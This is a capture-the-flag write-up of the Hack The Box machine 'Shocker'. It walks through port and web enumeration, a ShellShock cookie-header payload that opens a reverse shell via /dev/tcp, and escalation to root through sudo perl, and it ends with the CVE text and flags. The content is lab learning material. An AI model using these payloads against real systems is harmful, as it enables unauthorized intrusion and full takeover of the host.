Shocker by k0rriban

htbexplorer report

Name	IP Address	Operating System	Points	Rating	User Owns	Root Owns	Retired	Release Date	Retired Date	Free Lab	ID
Shocker	10.10.10.56	Linux	20	4.7	18147	18016	Yes	2017-09-30	2018-02-17	No	108

Summary

1. Scan ports -> `80`,2222
2. Enumerate port 80 -> `http://10.10.10.56/cgi-bin/user.sh`
3. Inject reverse shell on `Cookie` header -> User shell as `shelly` on host
4. List sudoers with `sudo -l` -> `NOPASSWD: /usr/bin/perl`
5. Exploit `perl` to gain root -> `Root` user on host

Enumeration

OS

TTL	OS
+- 64	Linux
+- 128	Windows

As we can see in the code snippet below, the operating system is Linux.

```
❯ ping -c 1 10.10.10.56
PING 10.10.10.56 (10.10.10.56) 56(84) bytes of data.
64 bytes from 10.10.10.56: icmp_seq=1 ttl=63 time=39.8 ms
```

Nmap port scan

First, we will scan the host for open ports.

```
❯ sudo nmap -p- -sS --min-rate 5000 10.10.10.56 -v -Pn -n -oG Enum/allPorts
```

With the utility `extractPorts` we list and copy the open ports:

```
❯ extractPorts Enum/allPorts

[*] Extracting information...

    [*] IP Address:  10.10.10.56

    [*] Open ports:  80,2222


[*] Ports have been copied to clipboard...
```

Run a detailed scan on the open ports:

```
❯ nmap -p23 -A -n 10.10.11.107 -v -oN Enum/targeted
PORT     STATE SERVICE VERSION
```

```
80/tcp   open  http    Apache httpd 2.4.18 ((Ubuntu))
| http-methods: 
|_  Supported Methods: OPTIONS GET HEAD POST
|_http-title: Site doesn\'t have a title (text/html).
|_http-server-header: Apache/2.4.18 (Ubuntu)
2222/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 c4:f8:ad:e8:f8:04:77:de:cf:15:0d:63:0a:18:7e:49 (RSA)
|   256 22:8f:b1:97:bf:0f:17:08:fc:7e:2c:8f:e9:77:3a:48 (ECDSA)
|_  256 e6:ac:27:a3:b5:a9:f1:12:3c:34:a5:5d:5b:eb:3d:e9 (ED25519)
```

Final nmap report

Port	Service	Version	Extra
80	http	Apache httpd 2.4.18	Ubuntu
2222	ssh	OpenSSH 7.2p2 Ubuntu	4ubuntu2.2

HTTP Enumeration

Technology scan

```
❯ whatweb 10.10.10.56
http://10.10.10.56 [200 OK] Apache[2.4.18], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux]
[Apache/2.4.18 (Ubuntu)], IP[10.10.10.56]
```

Toguether with wappalyzer we can see:

Technology	Version	Detail
Apache	2.4.18	Ubuntu

Web-Content Discovery

We will use wfuzz to enumerate the web-content of the host:

```
❯ wfuzz -c -t 200 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt --hc
404 --hh 137 "http://10.10.10.56/FUZZ"
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://10.10.10.56/FUZZ
Total requests: 220560

=====================================================================
ID           Response   Lines    Word       Chars       Payload
=====================================================================

000095524:   403        11 L     32 W       299 Ch      "server-status"
```

We can try enumerating folders explicitly adding a / at the end of the URL:

```
❯ wfuzz -c -t 200 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt --hc
404 --hh 137 "http://10.10.10.56/FUZZ/"
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://10.10.10.56/FUZZ/
```

```
Total requests: 220560

=====================================================================
ID           Response   Lines    Word       Chars       Payload
=====================================================================

000000083:   403        11 L     32 W       292 Ch      "icons"
000000035:   403        11 L     32 W       294 Ch      "cgi-bin"
000095524:   403        11 L     32 W       300 Ch      "server-status"
```

When we access to `/cgi-bin` we obtain a code 404, while when we access to `/cgi-bin/` we obtain a code 403. If we enumerate the files contained in cgi-bin we can see:

```
❯ wfuzz -c -t 200 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt --hc
404 --hh 294 "http://10.10.10.56/cgi-bin/FUZZ.sh"
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://10.10.10.56/cgi-bin/FUZZ.sh
Total requests: 220560

=====================================================================
ID           Response   Lines    Word       Chars       Payload
=====================================================================

000000125:   200        7 L      17 W       118 Ch      "user"
```

We found the file `/cgi-bin/user.sh`, returning a 200 code.

ShellShock exploit

If we look up `cgi-bin exploit` on google, we can find the next exploit:

```
❯ curl -H 'Cookie: () { :;}; /bin/bash -i >& /dev/tcp/10.10.14.18/3333 0>&1'
http://10.10.10.56/cgi-bin/user.sh
```

And if we listen on port 3333:

```
❯ nc -nlvp 3333
Connection from 10.10.10.56:59912
bash: no job control in this shell
shelly@Shocker:/usr/lib/cgi-bin$ whoami
whoami
shelly
shelly@Shocker:/usr/lib/cgi-bin$ hostname -I
hostname -I
10.10.10.56 dead:beef::250:56ff:feb9:830b
```

We obtained a user shell as `shelly`.

Privilege escalation

The first thing we should look while escalating are `sudo -l` and `/etc/sudoers`:

```
shelly@Shocker:/usr/lib/cgi-bin$ sudo -l
sudo -l
Matching Defaults entries for shelly on Shocker:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User shelly may run the following commands on Shocker:
    (root) NOPASSWD: /usr/bin/perl
```

We see that `shelly` can execute `/usr/bin/perl` as root without password, so we can just:

```
shelly@Shocker:/usr/lib/cgi-bin$ sudo /usr/bin/perl -e 'exec "/bin/bash"'
sudo /usr/bin/perl -e 'exec "/bin/bash"'
whoami
root
hostname -I
10.10.10.56 dead:beef::250:56ff:feb9:830b
```

We obtained a root shell as `root`.

CVE

CVE-2014-6271

GNU Bash through 4.3 processes trailing strings after function definitions in the values of environment variables, which allows remote attackers to execute arbitrary code via a crafted environment, as demonstrated by vectors involving the ForceCommand feature in OpenSSH sshd, the mod_cgi and mod_cgid modules in the Apache HTTP Server, scripts executed by unspecified DHCP clients, and other situations in which setting the environment occurs across a privilege boundary from Bash execution, aka "ShellShock." NOTE: the original fix for this issue was incorrect; CVE-2014-7169 has been assigned to cover the vulnerability that is still present after the incorrect fix.

Machine flags

Type	Flag	Blood	Date
User	2ec24e11320026d1e70ff3e16695b233	No	06-06-2022
Root	52c2715605d70c7619030560dc1ca467	No	06-06-2022

References

- https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/cgi#shellshock
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2014-6271
- https://gtfobins.github.io/gtfobins/perl/#sudo